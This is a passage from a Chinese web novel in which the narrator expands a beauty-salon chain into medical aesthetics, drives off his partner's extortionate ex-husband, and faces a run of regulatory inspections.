“这是什么?”
“你的离职补偿。十万块。”
“红姐,不用——”
“拿着。”她打断我,“你帮红颜赚了那么多,这是你应得的。”
我拿起信封,放进口袋里。
“红姐,谢谢。”
“别谢。以后有空,回来坐坐。”
“好。”
我转身走了。
“林远。”
我停下来。
“你要是混不下去了,回来。红颜的门永远开着。”
“红姐,我不会混不下去的。”
她笑了。“行。走吧。”
我拉开门,走了出去。
新公司的装修,宋诗语盯着。
她每天早上去,晚上回,带着图纸和卷尺,跟工人比画。姜月给她配了一个助理,是个刚毕业的小姑娘,姓王,叫她小王。
“林远,你来看看。”她拉着我走到办公室中间,“这里我打算放一个岛台,喝茶用的。你觉得怎么样?”
“好。”
“你就知道说好。”她瞪了我一眼,“你给点意见。”
“你定。我相信你。”
她笑了,凑过来在我耳边说了一句:“晚上奖励你。”
小王在旁边假装没听到,耳朵红了。
开业那天,来了很多人。
周敏、陈姐、刘太太——三十七个客户,来了三十五个。秦红也来了,穿了一件红色的旗袍,站在角落里,端着酒杯,没怎么说话。赵暮也来了,穿着一身便装,坐在沙发上,跟老刀聊天。老刀难得穿了一件西装,领带系得歪歪扭扭的。
姜月上台致辞。她今天穿了一件白色的西装裙,头发盘起来,整个人像一盏灯,亮得晃眼。
“感谢各位来参加远月国际的开业典礼。远月,取林远的‘远’,姜月的‘月’。这是我们共同的公司,也是滨海美容行业的新起点。”
台下鼓掌。
**没来。但他送了一个花篮,上面写着:“祝生意兴隆。**。”
我看了看那张卡片,笑了。
第66章 扩张野心
成功拍到丽人会的消息传出去的第二天,三个美容院老板来找我。
第一个姓王,在开发区开了一家店,半死不活。“林总,我店转给你,行不?”
“多少钱?”
“八十万。”
“四十万。”
他脸绿了。“你这也太狠了。”
“你的设备用了五年,装修过时,客户没几个。四十万是看在地段份上。”
他咬了咬牙。“成交。”
第二个姓李,在老城区有两家店,生意一般。他想入股远月,被我拒了。最后谈成合作:他的店挂远月的牌子,用远月的产品和培训,利润分成。
第三个姓张,是个女的,三十出头,在滨海新区开了一家高端美容院,生意不错。她不卖店,也不合作,她是来挖我的。
“林总,你来我这边,我给你百分之三十的股份。”
“张总,我自己有公司。”
“你的公司,姜月说了算。你来我这边,你自己说了算。”
我看着她。“张总,你是来挖我的?”
“对。”她笑了,“挖不动没关系,交个朋友。”
她留下名片走了。姜月从里间出来。
“她跟你说什么了?”
“挖我。”
“你答应了?”
“没有。”
“那就好。”姜月走到窗边,“林远,我们该扩张了。”
接下来一个月,远月国际一口气收了三家店。
开发区的王老板,四十万成交。老城区的李老板,两家店挂靠。滨海新区又谈了一家,店主移民,急着出手,八十万拿下。
钱是姜月出的,她眼睛都不眨一下。
“林远,你现在手里有五家店了。”
“四家,红颜不算!”
她看着我,“你想把红颜也收了?”
“不想。她对我有恩。”
姜月没再说什么。
宋诗语的设计工作室也扩大了。她招了两个设计师,接了几单远月的装修项目。她忙得脚不沾地,但每天晚上还是等我回去吃饭。
赵暮打电话来的时候,我正在新店巡场。
“师兄,孙曼丽在里面要见你。”
“见我?什么事?”
“没说。她说只见你。”
我想了想。“行。什么时候?”
“明天上午。”
第二天,我去了滨海女子监狱。
孙曼丽瘦了很多,头发剪短了,脸上没有妆。她坐在玻璃对面,拿起电话。
“林远,你赢了。”
“孙总,你找我来就为了说这个?”
“不是。”她看着我,“我外面还有一笔钱,三百万。你想办法帮我转给我女儿。”
“为什么找我?”
“因为只有你不贪。”
我沉默了一会儿。“孙总,这事我办不了。”
“你办得了。找姜月,她有办法。”
“我凭什么帮你?”
“凭我知道一件事。”她盯着我,“你那个姓宋的女朋友,她前夫跟我做过生意。那个人不是好东西,他不会放过宋诗语的。”
我攥紧了电话。“什么意思?”
“你自己查。我只能说这么多。”
她挂了电话,站起来走了。
从监狱出来,我给赵暮打了电话。
“赵队,帮我查一个人。宋诗语的前夫,陈旭东。”
“查他什么?”
“他跟孙曼丽做过生意,还跟赵三江有来往。我要知道他最近在干什么。”
“行。三天。”
三天后,赵暮回话。
“陈旭东,四十一岁,省城人,做建材生意。公司快倒闭了,欠了一屁股债。最近在滨海活动,不知道要干什么。”
“他在滨海?”
“对,住滨海国际酒店。”
我挂了电话,给宋诗语发了一条消息。“你前夫来滨海了。”
她秒回:“我知道,他找过我。”
“找你干什么?”
“要钱。”
“你给了?”
“没有。”
“那就好。你别见他。我来处理。”
第二天,我去滨海国际酒店找了陈旭东。
他开门的时候,穿着浴袍,头发湿着,房间里还有一个女人,躺在床上玩手机。
“你是谁?”他看着我。
“林远,宋诗语的男朋友。”
他的脸色变了。“你来干什么?”
“听说你找她要钱?”
“关你什么事?”
“她没钱,你别找她了。”
“她没钱?”他笑了,“她那个工作室一年赚上百万,你说她没钱?”
“那是她的钱,不是你的。”
“她是我老婆!”
“前妻。”我看着他,“离婚的时候你拿了房子,她什么都没要。你现在来找她,不合适。”
他盯着我看了几秒。“行,你替她给?”
“多少?”
“两百万。”
“没有。”
“那就别管闲事。”他关门。
我伸手挡住。“陈旭东,你再找她一次,我报警。”
“报警?”他笑了,“你报啊。看警察管不管。”
晚上,宋诗语等我吃饭
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。
“你去找他了?”
“去了。”
“他怎么说?”
“要两百万。”
“你给了?”
“没有。”
她放下筷子。“林远,这事你别管了。我自己处理。”
“你怎么处理?”
“给他钱。”
“你疯了?”
“我不想他再来烦我。”
我看着她。“宋诗语,你给了他这次,他还会来下次。这种人,填不满的。”
“那怎么办?”
“我来处理。”
“你怎么处理?”
“你别管。”
她盯着我看了几秒,然后点了点头。“好。你处理。”
第二天,我找了老周。
“老周,帮我查一个人。陈旭东,省城来的,欠了一屁股债。我要知道他怕什么。”
老周没用多久就回话。“他怕一个人。姓马,叫马德胜,省城的放贷人。陈旭东欠他五百万,利息滚到八百万了,马德胜在找他。”
“马德胜的联系方式有吗?”
“有,你要干嘛?”
“让他来滨海。”
老周发了一个号码。
我打过去。“马总,陈旭东在滨海国际酒店。”
“你是谁?”
“你不用管我是谁,他在1808房。”
“你想干什么?”
“让他还钱。”
对面沉默了几秒。“行。”
挂了电话。
三天后,陈旭东离开了滨海。
宋诗语打电话来的时候,我正在新店巡场。“林远,他走了。”
“走了就好。”
“你怎么做到的?”
“让他知道,滨海不是他能闹的地方。”
她沉默了一会儿。“林远,谢谢你。”
“别谢,你是我的人。”
她笑了,没再说别的。我挂了电话,站在新店门口,看着对面正在装修的铺面。又一家新店要开了,远月国际的第五家店。
从一个人到四家店,从三万块到年营收过千万,我用了不到一年。
其实我很清楚,我的个人能力只起到了很小的作用,主要还是因为姜月出钱了,不然有再多想法都没法实施。
姜月走过来。“林远,晚上有个饭局,省城来的投资方,想见你。”
“几点?”
“七点。”
“行。”
她看着我。“你最近是不是有心事?”
“没有。”
“那你笑一个。”
我笑了。
她摇了摇头。“假笑。”
好吧,我不装了!
第67章 医美更赚钱
接下来的日子跟以前完全不同,姜月回省城的投资公司了,美容院这边她根本就不管,全权交给我处理。
丽人会的总店,再加上收购的四家店做成连锁店,嫣然成为了滨江规模最大的美容机构。
拿到第一笔分红那天,我正在新店巡场。
姜月发来一条消息,附带一张转账截图:“林远,上季度分红,你查一下。”我点开,数字后面六个零。
两百万,不是月薪一万,不是提成几万。是两百万。我站在店门口,盯着手机看了几秒,然后收起来,继续巡场。
晚上,宋诗语做了四个菜。我告诉她数字,她筷子顿了一下。“两百万?”
“嗯。”
“那你现在有多少钱了?”
“三百多万。”
她放下筷子,看着我。“林远,你才出来半年。”
“半年够了。”
她没再问,给我夹了一块排骨。
钱到账那天晚上,我没睡好。
三百多万。在滨海够付一套房子的首付,够买一辆不错的车,够我躺平好几年。但我不想躺。五家店,年利润加起来不到五百万,我分两百万。够了,但不够。
第二天,我去找了姜月。
她在办公室看文件,见我进来,指了指沙发。“坐。分红收到了?”
“收到了。”
“那你还来干什么?”
“谈下一步。”
她放下笔,靠在椅背上。“你说。”
“五家店稳了,我想做医美。”
姜月的眉毛挑了一下。“医美?”
“对,美容院赚的是辛苦钱,普通一个客户一年消费两三万,能超过十万的就是大客户了。医美不一样,一个项目就是几万、几十万,利润率高得多。”
“你懂医美?”
“不懂,可以学。但我懂客户。我们那么多个VIP,她们在美容院做护理,也去医美机构打针、做项目。她们信我,我推荐的地方,她们会去。”
姜月沉默了一会儿。“你想怎么干?”
“找一家现成的医美诊所,收购或者入股。然后用美容院的**导流。半年内做到盈亏平衡,一年内盈利。”
“你有目标了?”
“有一家叫‘悦美’,在滨海新区,老板姓沈,女的,三十五岁。诊所开了三年,生意一般,因为不会营销。但她技术好,医生团队稳定。”
“你怎么知道的?”
“让老周查的。”我看着姜月,“姜总,这个项目不需要你出太多钱。我出两百万,你出三百万,占股对半开。”
姜月盯着我看了几秒。“林远,你现在胆子大了。敢让我出钱,你自己也出钱,两百万几乎是你的全部身家了吧。”
“不是胆子大,是想清楚了。医美是下一个风口。滨海的美容市场就这么大,做到底也就十家店。医美不一样,一家诊所的利润顶十家美容院。”
她站起来,走到窗边,背对着我。
“林远,你知道做医美有多难吗?资质、医生、设备、医疗风险——哪一样都不是钱能解决的。”
“我知道。所以我才找悦美。他们有资质、有医生、有设备,缺的就是客户和资金。我们有客户、有资金,缺的就是技术和牌照,正好互补。”
她转过身,看着我。“你查了多久?”
“一个月。”
“一个月就把悦美的底摸清了?”
“不止悦美,滨海市所有医美诊所,我都查了,悦美是最合适的。”
姜月走回来,坐下,端起咖啡喝了一口。“林远,你这个人,一旦盯上什么,就不松口。”
“因为松口就没了。”
她放下咖啡杯。“行。你约悦美的老板,我见见。”
悦美的老板叫沈知意。三十五岁,短发,皮肤白净,穿着一件白大褂,没化妆。她坐在诊室里,面前摊着一份病历。
“林总,你说想投资悦美?”
“对。”
“为什么?”
“因为你技术好,但不会做生意。我会做生意,但不懂技术。合作刚好。”
她看着我,眼神里没什么表情。“你倒是直接。”
“没必要绕弯子。”
她合上病历。“我这家诊所,开了三年,没赚什么钱。但我舍不得关,因为我的客户信我。你要是进来,能把客户带过来吗?”
“能。三十七个VIP,年消费三百万以上。她们做美容,也做医美。”
“她们会跟你来?”
“会。”
她沉默了一会儿。“你投多少?”
“两百万。姜总投三百万。占股百分之六十,你留百分之四十。你继续管技术,我管运营。”
“百分之四十?我这家诊所当初投了八百万。”
“那是三年前。现在不值了。而且你不擅长运营,三年没回本。我给你客户,给你钱,帮你把业绩做上去。你拿百分之四十,比你现在的利润高得多。”
她盯着我看了很久。“林总,你多大?”
“二十六。”
“比我小九岁。”她笑了,“但比我狠。”
“不是狠。是算清楚了。”
她拿起笔,在合同草稿上签了字。“行。我同意。但我要见见姜总。”
三天后,姜月约沈知意在滨海国际大厦的办公室见面。
两个女人坐在沙发上,面前摆着两杯茶。我在旁边坐着。
“沈医生,林远跟我说了你的情况。”姜月端起茶杯,“我想听听你的想法。”
沈知意看了我一眼。“林总说,他能把客户带过来。我相信他。但我不希望悦美变成快钱公司。我做医美,不是为了赚快钱,是为了帮客户解决问题。”
“那你想怎么样?”
“品质第一,利润第二。”沈知意放下茶杯,“姜总,你能接受吗?”
姜月笑了。“沈医生,你这个人,有意思。”
“哪里有意思?”
“别的老板都是先谈钱,你谈品质。”
“因为钱我已经亏了三年,不在乎再多亏一年。但品质丢了,就再也回不来了。”
姜月看着我。“林远,你觉得呢?”
“我觉得沈医生说得对。品质第一,利润第二。有了品质,利润自然会来。”
姜月点了点头。“行。就这么定。五百万投资,悦美占股百分之四十,远月占百分之六十。沈医生继续管技术,林远管运营。”
沈知意伸出手。“合作愉快。”
姜月握了一下。我也握了一下。她的手很凉,手指修长
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,指甲剪得很短。
签完合同那天晚上,宋诗语做了四个菜。
“谈成了?”
“谈成了。”
“那个女医生漂亮吗?”
“还行。”
“比我呢?”
我看着她的眼睛。“没你漂亮。”
她笑了,给我夹了一块排骨。“你最近老说这种话。”
“什么话?”
“哄人的话。”
“不是哄人。是实话。”
她盯着我看了两秒,然后低下头吃饭,耳朵红了。
接下来一个月,我忙得脚不沾地。
五家美容院的日常运营、悦美诊所的改造、客户的导流、新项目的开发——每件事都要盯。沈知意负责技术,我负责把客户带过去。第一个月,三十七个VIP里,有二十个去了悦美做项目。有的打玻尿酸,有的做热玛吉,有的做光子嫩肤。客单价从几千到几万不等。
月底,沈知意打电话来。“林总,这个月业绩翻了一倍。”
“正常。”
“你什么时候过来?我想跟你聊聊下一步。”
“明天。”
第二天,我去了悦美。沈知意在诊室里等我,穿着一件白大褂,头发扎起来,脸上带着笑。
“林总,坐。”
我在她对面坐下。
“我想开一个新项目。”她拿出一个文件夹,“轻医美。水光针、瘦脸针、线雕。这些项目技术门槛低,客单价高,客户复购率高。”
“需要什么?”
“需要资质。我已经在申请了,三个月能批下来。还需要设备。设备我已经找好了,德国进口的,一套下来一百五十万。”
“钱呢?”
“你们出。”
“利润呢?”
“五五分。”
我看着她。“沈医生,你现在学会谈生意了。”
“跟你学的。”
我笑了。“行。我跟姜总商量。”
晚上,姜月家。
她穿着一件黑色的睡袍,头发散着,手里端着一杯红酒。阿姨做了一桌子菜,但她没怎么吃。
“林远,沈知意那个新项目,你同意了?”
“同意了。一百五十万的设备,五五分利润。我觉得划算。”
“划算?”她放下酒杯,“你知不知道,轻医美市场竞争多激烈?滨海市已经有十几家在做。”
“他们做得不好。我们有客户,有技术,有品牌。不怕竞争。”
她盯着我看了几秒。“你倒是自信。”
“不是自信。是算清楚了。”
她笑了。“行。你说了算。”
她站起来,走到我面前,弯下腰,近距离看着我的眼睛。“林远,你现在越来越像老板了。”
“姜总,我本来就是老板。”
她直起身,走回座位。“行。老板,你下一步想干什么?”
“把悦美做成滨海市最大的轻医美机构。”
“然后呢?”
“然后去省城。”
她端起酒杯,一饮而尽。
从姜月家出来,已经快十一点了。
我开着车,车窗摇下来一条缝。夜风吹进来,凉飕飕的。手机震了,宋诗语的消息。
“林远,今晚还来吗?”
“来。在路上。”
“好。我等你。”
第68章 各种刁难
我知道扩张这么快肯定要出问题,没想到麻烦来得比我想的快。
那天早上我刚到悦美,门口就停了一辆白色面包车,车身上印着“卫生监督”四个蓝字。
四个穿制服的人下了车,领头的是个四十多岁的男人,姓黄,戴着金丝眼镜,肚子挺得老高。他站在门口,上下打量了一眼招牌,嘴角往下撇了撇。
“谁是负责人?”
“我,林远。”
“有人举报你们消毒记录**,设备年检过期。把资料都拿出来。”
沈知意从诊室出来,手里抱着一摞文件夹。黄科长接过去,翻了几页,眉头皱起来。
“这个消毒记录,6月15号的日期涂改过。”
“那是员工写错了,改了一下。”沈知意解释。
“改一下?医疗机构的消毒记录,能随便改吗?”他把文件夹摔在桌上,“还有这个,设备年检标签,为什么少了一个角?”
“运输的时候蹭掉的,机器本身年检过了,报告在最后一页。”
“报告是报告,标签是标签。标签不完整,我怎么知道是不是伪造的?”他转头看旁边的下属,“记下来,消毒记录不规范,设备年检标签损坏。”
沈知意的脸色发白。“黄科长,我们资质都齐全,这些只是小问题——”
“小问题?”他笑了,那种居高临下的笑,“沈医生,你也是干了这么多年的人了,应该知道医疗行业无小事。你说小问题就小问题?万一出了医疗事故,你负责还是我负责?”
我按住沈知意的胳膊。“黄科长,你说怎么整改?”
“消毒记录重做,每天每项都要有签字,不能涂改。设备年检标签重新打印,贴在机器上。三天后我来复查,不合格就停业整顿。”
“三天时间够吗?”
“够不够是你们的事。”他合上文件夹,“三天后见。”
他走了,皮鞋踩在地上,咯噔咯噔的。沈知意站在门口,攥着拳头。
“他就是故意找茬。”
“我知道。但他是官,我们是民。他说整改,我们就整改。”
一个部门刚走另外一个部门就来了,甚至都不等第二天。领头的是个三十出头的男人,姓刘,精瘦,眼神很贼。他带着两个人,进门就开始挑毛病。
“疏散通道宽度不够,至少要一米二,你这个只有九十公分。”
“灭火器数量不足,两百平的店面至少需要四个,你只有两个。”
“应急灯的位置不对,应该离地面三十公分,你装得太高了。”
我跟着他,一条一条记。他走到后门,用手推了推门。
“这个门朝内开,应该朝外开。万一发生火灾,人往外跑,朝内开怎么跑?”
“刘工,这个门是后来改的,建筑本身就是这样——”
“建筑本身?消防规范不看建筑本身。”他看着我,“改。三天之内,全部整改到位。”
“三天?”
“三天。三天后我来复查,不合格就封店。”
他走了。沈知意站在我旁边,咬着嘴唇。
“林总,三天时间,换门、加灭火器、改应急灯——根本来不及。”
“来得及。花钱就行。”
“又要花钱?”
“不花钱,就关门。你选哪个?”
她不说话了。
之前那几家美容院从并购到开业都没问题,没想到这次涉及医美事儿这么多,果然利润越大风险越大啊。
工商的人第三天也来了,领头的是个女的,四十多岁,短发,戴着黑框眼镜,嘴唇抿成一条线。她带着两个男下属,进门就到处看。
“营业执照挂在哪?”
“前台后面,墙上。”
她走过去,看了一眼。“位置不对。营业执照应该挂在进门口最显眼的地方,你这个位置被前台挡住了。”
“那应该挂哪?”
“进门右手边,顾客一进来就能看到。”她用笔敲了敲墙,“还有,你们的经营范围写的是‘美容服务’,但你们在做医美咨询,超范围经营了。”
“我们有医美的资质,正在变更主体。”
“那也不行,变更期间不能做任何医美相关的咨询。”她看着我,“林总是吧?你也是做生意的,应该知道规矩。”
“我知道。”
“知道就好。”她在本子上记了几笔,“七个工作日之内变更完,到时候我会再来检查。”
她走了。沈知意坐在沙发上,双手捂着脸。
“林总,我们什么都没做错,他们为什么这样?”
“因为他们接到了举报。不
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查,就是他们失职。”
“可是查也不能这样查啊。消毒记录改个日期就要重做?门朝内开也不行?这明明是故意刁难。”
“是故意刁难。但你能怎么样?投诉他?投诉到哪?他们是一个系统的,你投诉他,他同事接电话,转一圈又回到他手里。”
沈知意抬起头,看着我。“林总,你不生气吗?”
“生气。但生气没用。解决问题才有用。”
这还没有完,税务的人很快也来了。
这次换了个年轻的,姓王,戴着鸭舌帽,说话很冲。他进门就翻柜台,看发票、看收据、看转账记录。
“你们这个月的流水是多少?”
“八十多万。”
“报税了吗?”
“报了。”
他把发票一张一张地翻,突然停下来。“这张发票,抬头写的是‘个人’,为什么没有身份证号?”
“个人客户不需要身份证号——”
“谁说不需要?”他看着我,“税法规定,单笔消费超过五千元,个人客户必须提供身份证号。你这个超过了吧?”
我看了一眼那张发票,金额是八千。“超过了。”
“那为什么没有身份证号?”
“客户没提供。”
“你没要?”
“要了,客户不给。”
“那就是你们的问题。”他把发票抽出来,“这张发票无效,需要重新开具。如果客户不提供身份证号,这笔收入就不能税前扣除,你们要补缴税款。”
“补多少?”
“我算算。”他拿出计算器按了几下,“连滞纳金,大概两万多。”
客户是来消费的,谁都不愿意轻易透露个人隐私。跟人家要身份证号,肯定很不礼貌,这明摆着是刁难我们。
沈知意攥紧了拳头,我按住她的手。
“王工,我们补。”
“还有。”他又翻出一张发票,“这张发票的日期和消费记录对不上,相差三天。为什么?”
“客户先消费,后补的发票。”
“不合规,消费当天必须开票,不能后补。这张也作废。”
“行,我们改。”
他合上文件夹,看了我一眼。“林总,你们这个店问题不少啊。七天之内把所有问题整改到位,我会再来复查。”